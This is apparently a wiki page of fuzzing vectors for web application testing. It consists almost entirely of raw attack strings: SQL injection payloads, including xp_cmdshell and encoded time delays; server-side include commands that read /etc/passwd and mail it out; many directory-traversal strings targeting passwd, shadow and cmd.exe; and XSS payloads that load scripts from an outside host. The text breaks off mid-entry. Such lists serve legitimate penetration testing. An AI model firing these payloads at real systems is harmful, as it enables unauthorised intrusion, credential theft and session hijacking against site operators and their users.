'a' = 'a<br /> 1 or 1=1<br /> a' waitfor delay '0:0:10'--<br /> 1 waitfor delay '0:0:10'--<br /> declare @q nvarchar (4000) select @q =<br /> 0x770061006900740066006F0072002000640065006C00610079002000270030003A0030003A<br /> 0<br /> 031003000270000<br /> declare @s varchar(22) select @s =<br /> 0x77616974666F722064656C61792027303A303A31302700 exec(@s)<br /> 0x730065006c00650063007400200040004000760065007200730069006f006e00 exec(@q)<br /> declare @s varchar (8000) select @s = 0x73656c65637420404076657273696f6e<br /> exec(@s)<br /> a'<br /> ?<br /> ' or 1=1<br /> ‘ or 1=1 --<br /> x' AND userid IS NULL; --<br /> x' AND email IS NULL; --<br /> anything' OR 'x'='x<br /> x' AND 1=(SELECT COUNT(*) FROM tabname); --<br /> x' AND members.email IS NULL; --<br /> x' OR full_name LIKE '%Bob%<br /> 23 OR 1=1<br /> '; exec master..xp_cmdshell 'ping 172.10.1.255'--<br /> '<br /> '%20or%20''='<br /> '%20or%20'x'='x<br /> %20or%20x=x<br /> ')%20or%20('x'='x<br /> 0 or 1=1<br /> ' or 0=0 --<br /> &quot; or 0=0 --<br /> or 0=0 --<br /> ' or 0=0 #<br /> or 0=0 #&quot;<br /> or 0=0 #<br /> ' or 1=1--<br /> &quot; or 1=1--<br /> ' or '1'='1'--<br /> ' or 1 --'<br /> or 1=1--<br /> or%201=1<br /> or%201=1 --<br /> ' or 1=1 or ''='<br /> or 1=1 or &quot;&quot;=<br /> ' or a=a--<br /> or a=a<br /> ') or ('a'='a<br /> ) or (a=a<br /> hi or a=a<br /> hi or 1=1 --&quot;<br /> hi' or 1=1 --<br /> hi' or 'a'='a<br /> hi') or ('a'='a<br /> &quot;hi&quot;&quot;) or (&quot;&quot;a&quot;&quot;=&quot;&quot;a&quot;<br /> 'hi' or 'x'='x';<br /> @variable<br /> ,@variable<br /> PRINT<br /> PRINT @@variable<br /> select<br /> insert<br /> as<br /> or<br /> procedure<br /> limit<br /> order by<br /> asc<br /> desc<br /> delete<br /> update<br /> distinct<br /> having<br /> truncate<br /> replace<br /> like<br /> handler<br /> bfilename<br /> ' or username like '%<br /> ' or uname like '%<br /> ' or userid like '%<br /> ' or uid like '%<br /> ' or user like '%<br /> exec xp<br /> exec sp<br /> '; exec master..xp_cmdshell<br /> '; exec xp_regread<br /> t'exec master..xp_cmdshell 'nslookup www.google.com'--<br /> --sp_password<br /> \x27UNION SELECT<br /> ' UNION SELECT<br /> ' UNION ALL SELECT<br /> ' or (EXISTS)<br /> ' (select top 1<br /> '||UTL_HTTP.REQUEST<br /> 1;SELECT%20*<br /> to_timestamp_tz<br /> tz_offset<br /> &amp;lt;&amp;gt;&quot;'%;)(&amp;amp;+<br /> '%20or%201=1<br /> %27%20or%201=1<br /> %20$(sleep%2050)<br /> %20'sleep%2050'<br /> char%4039%41%2b%40SELECT<br /> &amp;amp;apos;%20OR<br /> 'sqlattempt1<br /> (sqlattempt2)<br /> |<br /> %7C<br /> *|<br /> %2A%7C<br /> *(|(mail=*))<br /> %2A%28%7C%28mail%3D%2A%29%29<br /> *(|(objectclass=*))<br /> %2A%28%7C%28objectclass%3D%2A%29%29<br /> (<br /> %28<br /> )<br /> %29<br /> &amp;amp;<br /> %26<br /> !<br /> %21<br /> ' or 1=1 or ''='<br /> ' or ''='<br /> x' or 1=1 or 'x'='y<br /> /<br /> //<br /> //*<br /> */*<br /> a' or 3=3--<br /> &quot;a&quot;&quot; or 3=3--&quot;<br /> ' or 3=3<br /> ‘ or 3=3 --<br /> &lt;/pre&gt; <br /> === SSI (Server Side Includes) - (Update: 30 July 2007 - Total Statements: 4) ===<br /> &lt;pre&gt;<br /> # Some server side include statements<br /> # Foobar@email.de<br /> <br /> &amp;lt;!--#exec cmd=&quot;/bin/ls /&quot; --&amp;gt;&amp;lt;br/&amp;gt;<br /> &amp;lt;!--#exec cmd=&quot;cat /etc/passwd&quot; --&amp;gt;&amp;lt;br/&amp;gt;<br /> &amp;lt;!--#exec cmd=&quot;find / -name *.* -print&quot; --&amp;gt;&amp;lt;br/&amp;gt;<br /> &amp;lt;!--#exec cmd=&quot;mail Foobar@email.de &amp;lt;mailto:Foobar@email.de&amp;gt; &amp;lt; cat /etc/passwd&quot; --&amp;gt;&amp;lt;br/&amp;gt;<br /> &lt;/pre&gt;<br /> <br /> === Directory Traversal - (Update: 11 August 2009 - Total Statements: 132) ===<br /> &lt;pre&gt;Statement<br /> \..\WINDOWS\win.ini<br /> \..\..\WINDOWS\win.ini<br /> \..\..\..\WINDOWS\win.ini<br /> \..\..\..\..\WINDOWS\win.ini<br /> \..\..\..\..\..\WINDOWS\win.ini<br /> \..\..\..\..\..\..\WINDOWS\win.ini<br /> %5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%57%49%4e%44%4f%57%53%5c%77%69%6e%2e%69%6e%69<br /> %5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%57%49%4e%44%4f%57%53%5c%77%69%6e%2e%69%6e%69<br /> %5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%57%49%4e%44%4f%57%53%5c%77%69%6e%2e%69%6e%69<br /> %5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%57%49%4e%44%4f%57%53%5c%77%69%6e%2e%69%6e%69<br /> %5c%2e%2e%5c%2e%2e%5c%57%49%4e%44%4f%57%53%5c%77%69%6e%2e%69%6e%69<br /> %5c%2e%2e%5c%57%49%4e%44%4f%57%53%5c%77%69%6e%2e%69%6e%69<br /> %5c%57%49%4e%44%4f%57%53%5c%77%69%6e%2e%69%6e%69<br /> %%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%35%37%%34%39%%34%65%%34%34%%34%66%%35%37%%35%33%%35%63%%37%37%%36%39%%36%65%%32%65%%36%39%%36%65%%36%39<br /> %%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%35%37%%34%39%%34%65%%34%34%%34%66%%35%37%%35%33%%35%63%%37%37%%36%39%%36%65%%32%65%%36%39%%36%65%%36%39<br /> %%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%35%37%%34%39%%34%65%%34%34%%34%66%%35%37%%35%33%%35%63%%37%37%%36%39%%36%65%%32%65%%36%39%%36%65%%36%39<br /> %%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%35%37%%34%39%%34%65%%34%34%%34%66%%35%37%%35%33%%35%63%%37%37%%36%39%%36%65%%32%65%%36%39%%36%65%%36%39<br /> ..%5c..%5c../winnt/system32/cmd.exe?/c+dir+c:\<br /> ..%5c..%5c..%5c../winnt/system32/cmd.exe?/c+dir+c:\<br /> ..%5c..%5c..%5c..%5c../winnt/system32/cmd.exe?/c+dir+c:\<br /> ..%5c..%5c..%5c..%5c..%5c../winnt/system32/cmd.exe?/c+dir+c:\<br /> ..%5c..%5c..%5c..%5c..%5c..%5c../winnt/system32/cmd.exe?/c+dir+c:\<br /> ..%5c..%5c..%5c..%5c..%5c..%5c..%5c../winnt/system32/cmd.exe?/c+dir+c:\<br /> ..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c../winnt/system32/cmd.exe?/c+dir+c:\<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%77%69%6e%6e%74%2f%73%79%73%74%65%6d%33%32%2f%63%6d%64%2e%65%78%65%3f%2f%63%2b%64%69%72%2b%63%3a%5c<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%77%69%6e%6e%74%2f%73%79%73%74%65%6d%33%32%2f%63%6d%64%2e%65%78%65%3f%2f%63%2b%64%69%72%2b%63%3a%5c<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%77%69%6e%6e%74%2f%73%79%73%74%65%6d%33%32%2f%63%6d%64%2e%65%78%65%3f%2f%63%2b%64%69%72%2b%63%3a%5c<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%77%69%6e%6e%74%2f%73%79%73%74%65%6d%33%32%2f%63%6d%64%2e%65%78%65%3f%2f%63%2b%64%69%72%2b%63%3a%5c<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%77%69%6e%6e%74%2f%73%79%73%74%65%6d%33%32%2f%63%6d%64%2e%65%78%65%3f%2f%63%2b%64%69%72%2b%63%3a%5c<br /> %2e%2e%2f%2e%2e%2f%77%69%6e%6e%74%2f%73%79%73%74%65%6d%33%32%2f%63%6d%64%2e%65%78%65%3f%2f%63%2b%64%69%72%2b%63%3a%5c<br /> %2e%2e%2f%77%69%6e%6e%74%2f%73%79%73%74%65%6d%33%32%2f%63%6d%64%2e%65%78%65%3f%2f%63%2b%64%69%72%2b%63%3a%5c<br /> ../../../../../../../../../etc/passwd<br /> ../../../../../../../../etc/passwd<br /> ../../../../../../../etc/passwd<br /> ../../../../../../etc/passwd<br /> ../../../../../etc/passwd<br /> ../../../../etc/passwd<br /> ../../../etc/passwd<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64<br /> %2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64<br /> %%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%36%35%%37%34%%36%33%%32%66%%37%30%%36%31%%37%33%%37%33%%37%37%%36%34<br /> %%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%36%35%%37%34%%36%33%%32%66%%37%30%%36%31%%37%33%%37%33%%37%37%%36%34<br /> %%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%36%35%%37%34%%36%33%%32%66%%37%30%%36%31%%37%33%%37%33%%37%37%%36%34<br /> %%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%36%35%%37%34%%36%33%%32%66%%37%30%%36%31%%37%33%%37%33%%37%37%%36%34<br /> ../../../.htaccess<br /> ../../.htaccess<br /> ../.htaccess<br /> .htaccess<br /> ././.htaccess<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%68%74%61%63%63%65%73%73<br /> %2e%2e%2f%2e%2e%2f%2e%68%74%61%63%63%65%73%73<br /> %2e%2e%2f%2e%68%74%61%63%63%65%73%73<br /> %2e%68%74%61%63%63%65%73%73<br /> %2e%2f%2e%2f%2e%68%74%61%63%63%65%73%73<br /> %%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%36%38%%37%34%%36%31%%36%33%%36%33%%36%35%%37%33%%37%33<br /> %%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%36%38%%37%34%%36%31%%36%33%%36%33%%36%35%%37%33%%37%33<br /> %%32%65%%32%65%%32%66%%32%65%%36%38%%37%34%%36%31%%36%33%%36%33%%36%35%%37%33%%37%33<br /> %%32%65%%36%38%%37%34%%36%31%%36%33%%36%33%%36%35%%37%33%%37%33<br /> %%32%65%%32%66%%32%65%%32%66%%32%65%%36%38%%37%34%%36%31%%36%33%%36%33%%36%35%%37%33%%37%33<br /> ../../../../../../../../../../../../etc/hosts%00<br /> ../../../../../../../../../../../../etc/hosts<br /> ../../boot.ini<br /> /../../../../../../../../%2A<br /> ../../../../../../../../../../../../etc/passwd%00<br /> ../../../../../../../../../../../../etc/passwd<br /> ../../../../../../../../../../../../etc/shadow%00<br /> ../../../../../../../../../../../../etc/shadow<br /> /../../../../../../../../../../etc/passwd^^<br /> /../../../../../../../../../../etc/shadow^^<br /> /../../../../../../../../../../etc/passwd<br /> /../../../../../../../../../../etc/shadow<br /> /./././././././././././etc/passwd<br /> /./././././././././././etc/shadow<br /> \..\..\..\..\..\..\..\..\..\..\etc\passwd<br /> \..\..\..\..\..\..\..\..\..\..\etc\shadow<br /> ..\..\..\..\..\..\..\..\..\..\etc\passwd<br /> ..\..\..\..\..\..\..\..\..\..\etc\shadow<br /> /..\../..\../..\../..\../..\../..\../etc/passwd<br /> /..\../..\../..\../..\../..\../..\../etc/shadow<br /> .\\./.\\./.\\./.\\./.\\./.\\./etc/passwd<br /> .\\./.\\./.\\./.\\./.\\./.\\./etc/shadow<br /> \..\..\..\..\..\..\..\..\..\..\etc\passwd%00<br /> \..\..\..\..\..\..\..\..\..\..\etc\shadow%00<br /> ..\..\..\..\..\..\..\..\..\..\etc\passwd%00<br /> ..\..\..\..\..\..\..\..\..\..\etc\shadow%00<br /> %0a/bin/cat%20/etc/passwd<br /> %0a/bin/cat%20/etc/shadow<br /> %00/etc/passwd%00<br /> %00/etc/shadow%00<br /> %00../../../../../../etc/passwd<br /> %00../../../../../../etc/shadow<br /> /../../../../../../../../../../../etc/passwd%00.jpg<br /> /../../../../../../../../../../../etc/passwd%00.html<br /> /..%c0%af../..%c0%af../..%c0%af../..%c0%af../..%c0%af../..%c0%af../etc/passwd<br /> /..%c0%af../..%c0%af../..%c0%af../..%c0%af../..%c0%af../..%c0%af../etc/shadow<br /> /%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd<br /> /%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/shadow<br /> %25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%00<br /> /%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%00<br /> %25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%<br /> /%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..winnt/desktop.ini<br /> \\&amp;amp;apos;/bin/cat%20/etc/passwd\\&amp;amp;apos;<br /> \\&amp;amp;apos;/bin/cat%20/etc/shadow\\&amp;amp;apos;<br /> ../../../../../../../../conf/server.xml<br /> /../../../../../../../../bin/id|<br /> C:/inetpub/wwwroot/global.asa<br /> C:\inetpub\wwwroot\global.asa<br /> C:/boot.ini<br /> C:\boot.ini<br /> ../../../../../../../../../../../../localstart.asp%00<br /> ../../../../../../../../../../../../localstart.asp<br /> ../../../../../../../../../../../../boot.ini%00<br /> ../../../../../../../../../../../../boot.ini<br /> /./././././././././././boot.ini<br /> /../../../../../../../../../../../boot.ini%00<br /> /../../../../../../../../../../../boot.ini<br /> /..\../..\../..\../..\../..\../..\../boot.ini<br /> /.\\./.\\./.\\./.\\./.\\./.\\./boot.ini<br /> \..\..\..\..\..\..\..\..\..\..\boot.ini<br /> ..\..\..\..\..\..\..\..\..\..\boot.ini%00<br /> ..\..\..\..\..\..\..\..\..\..\boot.ini<br /> /../../../../../../../../../../../boot.ini%00.html<br /> /../../../../../../../../../../../boot.ini%00.jpg<br /> /.../.../.../.../.../<br /> ..%c0%af../..%c0%af../..%c0%af../..%c0%af../..%c0%af../..%c0%af../boot.ini<br /> /%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/boot.ini<br /> &lt;/pre&gt; <br /> ''Sorry for breaking the layout - but &quot;breaking the layout&quot; could become &quot;breaking the software&quot;.'' <br /> <br /> === XSS Discovery Statements ===<br /> <br /> Discovery Statements<br /> &lt;pre&gt;# Discovery Statements (July 2007)<br /> # Statements used to cause exploitable errors<br /> # Foobar@email.de<br /> <br /> ';alert(String.fromCharCode(88,83,83))//\';alert(String.fromCharCode(88,83,83))//&quot;;alert(String.fromCharCode(88,83,83))//\&quot;;alert(String.fromCharCode(88,83,83))//--&amp;gt;&amp;lt;/SCRIPT&amp;gt;&quot;&amp;gt;'&amp;gt;&amp;lt;SCRIPT&amp;gt;alert(String.fromCharCode(88,83,83))&amp;lt;/SCRIPT&amp;gt; <br /> '';!--&quot;&amp;lt;XSS&amp;gt;=&amp;amp;{()}<br /> &lt;/pre&gt; <br /> <br /> Common exploit code <br /> &lt;pre&gt;# Best Statements (July 2007)<br /> # Statements covering 90% of all vulnerabilities <br /> # Foobar@email.de<br /> <br /> '&amp;gt;&amp;lt;SCRIPT&amp;gt;alert(String.fromCharCode(88,83,83))&amp;lt;/SCRIPT&amp;gt;&amp;lt;img src=&quot;&quot; alt='<br /> &quot;&amp;gt;&amp;lt;SCRIPT&amp;gt;alert(String.fromCharCode(88,83,83))&amp;lt;/SCRIPT&amp;gt;&amp;lt;img src=&quot;&quot; alt=&quot;<br /> \'&amp;gt;&amp;lt;SCRIPT&amp;gt;alert(String.fromCharCode(88,83,83))&amp;lt;/SCRIPT&amp;gt;&amp;lt;img src=&quot;&quot; alt=\'<br /> '); alert('xss'); var x='<br /> \\'); alert(\'xss\');var x=\'<br /> //--&amp;gt;&amp;lt;/SCRIPT&amp;gt;&amp;lt;SCRIPT&amp;gt;alert(String.fromCharCode(88,83,83));<br /> &lt;/pre&gt;<br /> <br /> Full List - (Update: 11 August 2009 - Total Statements: 162) <br /> &lt;pre&gt;# Full List (July 2007)<br /> # All Statements - Full List <br /> # Based on the XSS cheat sheet <br /> # http://ha.ckers.org/xss.html<br /> # Foobar@email.de<br /> <br /> &amp;lt;SCRIPT SRC=http://ha.ckers.org/xss.js&amp;gt;&amp;lt;/SCRIPT&amp;gt;<br /> &quot;&amp;lt;IMG SRC=&quot;&quot;javascript:alert('XSS');&quot;&quot;&amp;gt;&quot;<br /> &amp;lt;IMG SRC=JaVaScRiPt:alert('XSS')&amp;gt;<br /> &quot;&amp;lt;IMG SRC=javascript:alert(&quot;&quot;XSS&quot;&quot;)&amp;gt;&quot;<br /> &quot;&amp;lt;IMG SRC=`javascript:alert(&quot;&quot;RSnake says, 'XSS'&quot;&quot;)`&amp;gt;&quot;<br /> &quot;&amp;lt;IMG &quot;&quot;&quot;&quot;&quot;&quot;&amp;gt;&amp;lt;SCRIPT&amp;gt;alert(&quot;&quot;XSS&quot;&quot;)&amp;lt;/SCRIPT&amp;gt;&quot;&quot;&amp;gt;&quot;<br /> &amp;lt;IMG SRC=javascript:alert(String.fromCharCode(88,83,83))&amp;gt;<br /> &amp;lt;IMG SRC=&amp;amp;#0000106&amp;amp;#0000097&amp;amp;#0000118&amp;amp;#0000097&amp;amp;#0000115&amp;amp;#0000099&amp;amp;#0000114&amp;amp;#0000105&amp;amp;#0000112&amp;amp;#0000116&amp;amp;#0000058&amp;amp;#0000097&amp;amp;#0000108&amp;amp;#0000101&amp;amp;#0000114&amp;amp;#0000116&amp;amp;#0000040&amp;amp;#0000039&amp;amp;#0000088&amp;amp;#0000083&amp;amp;#0000083&amp;amp;#0000039&amp;amp;#0000041&amp;gt;<br /> &amp;lt;IMG SRC=&amp;amp;#x6A&amp;amp;#x61&amp;amp;#x76&amp;amp;#x61&amp;amp;#x73&amp;amp;#x63&amp;amp;#x72&amp;amp;#x69&amp;amp;#x70&amp;amp;#x74&amp;amp;#x3A&amp;amp;#x61&amp;amp;#x6C&amp;amp;#x65&amp;amp;#x72&amp;amp;#x74&amp;amp;#x28&amp;amp;#x27&amp;amp;#x58&amp;amp;#x53&amp;amp;#x53&amp;amp;#x27&amp;amp;#x29&amp;gt;<br /> &quot;&amp;lt;IMG SRC=&quot;&quot;jav&quot;<br /> &quot;ascript:alert('XSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;perl -e 'print &quot;&quot;&amp;lt;IMG SRC=java\0script:alert(\&quot;&quot;XSS\&quot;&quot;)&amp;gt;&quot;&quot;;' &amp;gt; out&quot;<br /> &quot;perl -e 'print &quot;&quot;&amp;lt;SCR\0IPT&amp;gt;alert(\&quot;&quot;XSS\&quot;&quot;)&amp;lt;/SCR\0IPT&amp;gt;&quot;&quot;;' &amp;gt; out&quot;<br /> &quot;&amp;lt;IMG SRC=&quot;&quot; &amp;amp;#14; javascript:alert('XSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;SCRIPT/XSS SRC=&quot;&quot;http://ha.ckers.org/xss.js&quot;&quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&quot;<br /> &quot;&amp;lt;BODY onload!#$%&amp;amp;()*~+-_.,:;?@[/|\]^`=alert(&quot;&quot;XSS&quot;&quot;)&amp;gt;&quot;<br /> &quot;&amp;lt;SCRIPT/SRC=&quot;&quot;http://ha.ckers.org/xss.js&quot;&quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&quot;<br /> &quot;&amp;lt;&amp;lt;SCRIPT&amp;gt;alert(&quot;&quot;XSS&quot;&quot;);//&amp;lt;&amp;lt;/SCRIPT&amp;gt;&quot;<br /> &amp;lt;SCRIPT SRC=http://ha.ckers.org/xss.js?&amp;lt;B&amp;gt;<br /> &amp;lt;SCRIPT SRC=//ha.ckers.org/.j&amp;gt;<br /> &quot;&amp;lt;IMG SRC=&quot;&quot;javascript:alert('XSS')&quot;&quot;&quot;<br /> &amp;lt;iframe src=http://ha.ckers.org/scriptlet.html &amp;lt;<br /> &amp;lt;SCRIPT&amp;gt;a=/XSS/\nalert(a.source)&amp;lt;/SCRIPT&amp;gt;<br /> &quot;\&quot;&quot;;alert('XSS');//&quot;<br /> &quot;&amp;lt;/TITLE&amp;gt;&amp;lt;SCRIPT&amp;gt;alert(&quot;&quot;XSS&quot;&quot;);&amp;lt;/SCRIPT&amp;gt;&quot;<br /> &quot;&amp;lt;INPUT TYPE=&quot;&quot;IMAGE&quot;&quot; SRC=&quot;&quot;javascript:alert('XSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;BODY BACKGROUND=&quot;&quot;javascript:alert('XSS')&quot;&quot;&amp;gt;&quot;<br /> &amp;lt;BODY ONLOAD=alert('XSS')&amp;gt;<br /> &quot;&amp;lt;IMG DYNSRC=&quot;&quot;javascript:alert('XSS')&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;IMG LOWSRC=&quot;&quot;javascript:alert('XSS')&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;BGSOUND SRC=&quot;&quot;javascript:alert('XSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;BR SIZE=&quot;&quot;&amp;amp;{alert('XSS')}&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;LAYER SRC=&quot;&quot;http://ha.ckers.org/scriptlet.html&quot;&quot;&amp;gt;&amp;lt;/LAYER&amp;gt;&quot;<br /> &quot;&amp;lt;LINK REL=&quot;&quot;stylesheet&quot;&quot; HREF=&quot;&quot;javascript:alert('XSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;LINK REL=&quot;&quot;stylesheet&quot;&quot; HREF=&quot;&quot;http://ha.ckers.org/xss.css&quot;&quot;&amp;gt;&quot;<br /> &amp;lt;STYLE&amp;gt;@import'http://ha.ckers.org/xss.css';&amp;lt;/STYLE&amp;gt;<br /> &quot;&amp;lt;META HTTP-EQUIV=&quot;&quot;Link&quot;&quot; Content=&quot;&quot;&amp;lt;http://ha.ckers.org/xss.css&amp;gt;; REL=stylesheet&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;STYLE&amp;gt;BODY{-moz-binding:url(&quot;&quot;http://ha.ckers.org/xssmoz.xml#xss&quot;&quot;)}&amp;lt;/STYLE&amp;gt;&quot;<br /> &quot;&amp;lt;XSS STYLE=&quot;&quot;behavior: url(xss.htc);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;STYLE&amp;gt;li {list-style-image: url(&quot;&quot;javascript:alert('XSS')&quot;&quot;);}&amp;lt;/STYLE&amp;gt;&amp;lt;UL&amp;gt;&amp;lt;LI&amp;gt;XSS&quot;<br /> &quot;&amp;lt;IMG SRC='vbscript:msgbox(&quot;&quot;XSS&quot;&quot;)'&amp;gt;&quot;<br /> ¼script¾alert(¢XSS¢)¼/script¾<br /> &quot;&amp;lt;META HTTP-EQUIV=&quot;&quot;refresh&quot;&quot; CONTENT=&quot;&quot;0;url=javascript:alert('XSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;META HTTP-EQUIV=&quot;&quot;refresh&quot;&quot; CONTENT=&quot;&quot;0;url=data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;META HTTP-EQUIV=&quot;&quot;refresh&quot;&quot; CONTENT=&quot;&quot;0; URL=http://;URL=javascript:alert('XSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;IFRAME SRC=&quot;&quot;javascript:alert('XSS');&quot;&quot;&amp;gt;&amp;lt;/IFRAME&amp;gt;&quot;<br /> &quot;&amp;lt;FRAMESET&amp;gt;&amp;lt;FRAME SRC=&quot;&quot;javascript:alert('XSS');&quot;&quot;&amp;gt;&amp;lt;/FRAMESET&amp;gt;&quot;<br /> &quot;&amp;lt;TABLE BACKGROUND=&quot;&quot;javascript:alert('XSS')&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;TABLE&amp;gt;&amp;lt;TD BACKGROUND=&quot;&quot;javascript:alert('XSS')&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;DIV STYLE=&quot;&quot;background-image: url(javascript:alert('XSS'))&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;DIV STYLE=&quot;&quot;background-image:\0075\0072\006C\0028'\006a\0061\0076\0061\0073\0063\0072\0069\0070\0074\003a\0061\006c\0065\0072\0074\0028.1027\0058.1053\0053\0027\0029'\0029&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;DIV STYLE=&quot;&quot;background-image: url(&amp;amp;#1;javascript:alert('XSS'))&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;DIV STYLE=&quot;&quot;width: expression(alert('XSS'));&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;STYLE&amp;gt;@im\port'\ja\vasc\ript:alert(&quot;&quot;XSS&quot;&quot;)';&amp;lt;/STYLE&amp;gt;&quot;<br /> &quot;&amp;lt;IMG STYLE=&quot;&quot;xss:expr/*XSS*/ession(alert('XSS'))&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;XSS STYLE=&quot;&quot;xss:expression(alert('XSS'))&quot;&quot;&amp;gt;&quot;<br /> &quot;exp/*&amp;lt;A STYLE='no\xss:noxss(&quot;&quot;*//*&quot;&quot;);xss:ex/*XSS*//*/*/pression(alert(&quot;&quot;XSS&quot;&quot;))'&amp;gt;&quot;<br /> &quot;&amp;lt;STYLE TYPE=&quot;&quot;text/javascript&quot;&quot;&amp;gt;alert('XSS');&amp;lt;/STYLE&amp;gt;&quot;<br /> &quot;&amp;lt;STYLE&amp;gt;.XSS{background-image:url(&quot;&quot;javascript:alert('XSS')&quot;&quot;);}&amp;lt;/STYLE&amp;gt;&amp;lt;A CLASS=XSS&amp;gt;&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;STYLE type=&quot;&quot;text/css&quot;&quot;&amp;gt;BODY{background:url(&quot;&quot;javascript:alert('XSS')&quot;&quot;)}&amp;lt;/STYLE&amp;gt;&quot;<br /> &amp;lt;!--[if gte IE 4]&amp;gt;&amp;lt;SCRIPT&amp;gt;alert('XSS');&amp;lt;/SCRIPT&amp;gt;&amp;lt;![endif]--&amp;gt;<br /> &quot;&amp;lt;BASE HREF=&quot;&quot;javascript:alert('XSS');//&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;OBJECT TYPE=&quot;&quot;text/x-scriptlet&quot;&quot; DATA=&quot;&quot;http://ha.ckers.org/scriptlet.html&quot;&quot;&amp;gt;&amp;lt;/OBJECT&amp;gt;&quot;<br /> &amp;lt;OBJECT classid=clsid:ae24fdae-03c6-11d1-8b76-0080c744f389&amp;gt;&amp;lt;param name=url value=javascript:alert('XSS')&amp;gt;&amp;lt;/OBJECT&amp;gt;<br /> &quot;&amp;lt;EMBED 